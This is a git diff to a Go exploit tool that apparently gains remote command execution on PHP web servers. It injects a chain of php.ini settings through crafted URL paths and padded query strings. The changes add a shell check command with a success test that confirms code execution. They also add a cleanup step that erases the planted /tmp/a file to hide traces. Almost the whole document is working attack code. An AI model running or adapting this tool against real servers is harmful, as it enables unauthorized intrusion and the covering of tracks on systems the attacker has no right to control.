diff --git a/attack.go b/attack.go index 4f99fc1..c4d9baf 100644 --- a/attack.go +++ b/attack.go @@ -1,6 +1,10 @@ package main -import "log" +import ( + "bytes" + "log" + "net/url" +) var chain = []string{ "short_open_tag=1", @@ -10,19 +14,45 @@ var chain = []string{ "log_errors=1", "error_reporting=2", "error_log=/tmp/a", - "extension_dir=\"\"", } +const ( + checkCommand = `a=/bin/sh+-c+'which+which'&` // must not contain any chars that are encoded (except space) + successPattern = "/bin/which" + cleanupCommand = ";echo ''>/tmp/a;which which" +) + func Attack(requester *Requester, params *AttackParams) error { log.Printf("Performing attack using php.ini settings...") + +attackLoop: for { for _, payload := range chain { - if err := SetSetting(requester, params, payload, 1); err != nil { + _, body, err := SetSettingSingle(requester, params, payload, checkCommand) + if err != nil { return err } + if bytes.Contains(body, []byte(successPattern)) { + log.Printf(`Success! Was able to execute a command by appending "?%s" to URLs`, checkCommand) + break attackLoop + } + } + + } + + log.Printf("Trying to cleanup /tmp/a...") + cleanup := url.Values{"a": []string{cleanupCommand}} + for { + _, body, err := requester.RequestWithQueryStringPrefix("/", params, cleanup.Encode()+"&") + if err != nil { + return err + } + if bytes.Contains(body, []byte(successPattern)) { + log.Print("Done!") + break } - // TODO: detect if we have RCE and break the loop } return nil } diff --git a/phpini.go b/phpini.go index 305d908..c9ae968 100644 --- a/phpini.go +++ b/phpini.go @@ -3,6 +3,7 @@ package main import ( "fmt" "log" + "net/http" "strings" ) @@ -15,18 +16,19 @@ func MakePathInfo(phpValue string) (string, error) { } func SetSetting(requester *Requester, params *AttackParams, setting string, tries int) error { - payload, err := MakePathInfo(setting) - if err != nil { - return err - } - if tries > 1 { - log.Printf("Trying to set %#v...", setting) - } + log.Printf("Trying to set %#v...", setting) for i := 0; i < tries; i++ { - _, _, err := requester.Request(payload, params) - if err != nil { + if _, _, err := SetSettingSingle(requester, params, setting, ""); err != nil { return fmt.Errorf("error while setting %#v: %v", setting, err) } } return nil } + +func SetSettingSingle(requester *Requester, params *AttackParams, setting, queryStringPrefix string) (*http.Response, []byte, error) { + payload, err := MakePathInfo(setting) + if err != nil { + return nil, nil, err + } + return requester.RequestWithQueryStringPrefix(payload, params, queryStringPrefix) +} diff --git a/requester.go b/requester.go index 738f5c0..a293430 100644 --- a/requester.go +++ b/requester.go @@ -43,6 +43,10 @@ func NewRequester(resource, cookie string) (*Requester, error) { } func (r *Requester) Request(pathInfo string, params *AttackParams) (*http.Response, []byte, error) { + return r.RequestWithQueryStringPrefix(pathInfo, params, "") +} + +func (r *Requester) RequestWithQueryStringPrefix(pathInfo string, params *AttackParams, prefix string) (*http.Response, []byte, error) { if !strings.HasPrefix(pathInfo, "/") { return nil, nil, fmt.Errorf("path doesn't start with slash: %#v", pathInfo) } @@ -52,11 +56,11 @@ func (r *Requester) Request(pathInfo string, params *AttackParams) (*http.Respon if qslDelta%2 != 0 { panic(fmt.Errorf("got odd qslDelta, that means the URL encoding gone wrong: pathInfo=%#v, qslDelta=%#v", qslDelta)) } - qslPrime := params.QueryStringLength - qslDelta/2 + qslPrime := params.QueryStringLength - qslDelta/2 - len(prefix) if qslPrime < 0 { - panic(fmt.Errorf("qsl value too small: qsl=%v, qslDelta=%v", params.QueryStringLength, qslDelta)) + return nil, nil, fmt.Errorf("qsl value too small: qsl=%v, qslDelta=%v, prefix=%#v", params.QueryStringLength, qslDelta, prefix) } - u.RawQuery = strings.Repeat("Q", qslPrime) + u.RawQuery = prefix + strings.Repeat("Q", qslPrime) req, err := http.NewRequest("GET", u.String(), nil) if err != nil { return nil, nil, err